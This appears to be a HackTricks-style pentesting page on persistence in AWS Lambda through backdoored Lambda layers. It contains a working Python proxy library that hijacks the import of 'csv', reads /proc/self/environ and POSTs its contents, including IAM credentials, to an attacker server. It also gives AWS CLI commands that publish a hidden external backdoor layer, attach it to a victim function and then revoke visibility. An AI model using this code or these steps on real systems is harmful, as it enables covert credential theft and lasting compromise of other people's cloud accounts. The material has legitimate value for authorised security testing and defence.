# AWS - Lambda Layers Persistence

{{#include ../../../../banners/hacktricks-training.md}}

## Lambda Layers

A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.

It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.

By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.

Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.

### Python load path

The load path that Python will use in lambda is the following:

```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```

Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**

> [!CAUTION]
> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.

Therefore, the requisites are:

- **Check libraries** that are **loaded** by the victims code
- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.

### Preloaded libraries

> [!WARNING]
> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.

With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:

```python
import sys

def lambda_handler(event, context):
    return {
        'statusCode': 200,
        'body': str(sys.modules.keys())
    }
```

And this is the **list** (check that libraries like `os` or `json` are already there)

```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```

And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)

### Lambda Layer Backdooring

In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.

For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
This file must:

- Execute our payload
- Load the original csv library

We can do both with:

```python
import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
    url= "https://attacker13123344.com/" #Change this to your server
    req = request.Request(url, data=file.read(), method="POST")
    response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv
```

Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.

You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)

The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:

{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}

### External Layers

Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
Also note that the **max number of layers a lambda can have is 5**.

Therefore, in order to improve the versatility of this technique an attacker could:

- Backdoor an existing layer of the user (nothing is external)
- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
  - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
  - The victim **won't see external layers** used with **`aws lambda list-layers`**

```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```

{{#include ../../../../banners/hacktricks-training.md}}




